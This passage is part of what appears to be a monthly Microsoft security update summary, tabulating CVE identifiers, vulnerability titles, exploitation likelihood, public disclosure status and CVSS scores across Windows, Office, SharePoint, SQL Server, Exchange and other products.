CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Microsoft Dynamics vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

Microsoft Office vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Detected	No	5.3
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Exploitation More Likely	No	9.1
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	7.3
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	4.6
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	5.4
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	N/A	No	5.5
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Open Source Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-40553	Stack-based buffer overflow in gawk	n/a	No
CVE-2026-40469	Heap buffer overflow in gawk	n/a	No
CVE-2026-40468	Heap buffer overflow in gawk	n/a	No
CVE-2026-40467	Use after free in gawk	n/a	No
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Exploitation Less Likely	No	6.3

Other vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	N/A	No	7.8
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	N/A	No	6.3

Server Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6

SQL Server vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

System Center vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8

Windows vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	N/A	No	4.8
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	6.3
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49174	DNS Client Tampering Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50495	DNS Client Tampering Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.2
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	3.3
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Exploitation Less Likely	No	8.0
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Exploitation More Likely	No	6.0
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.2
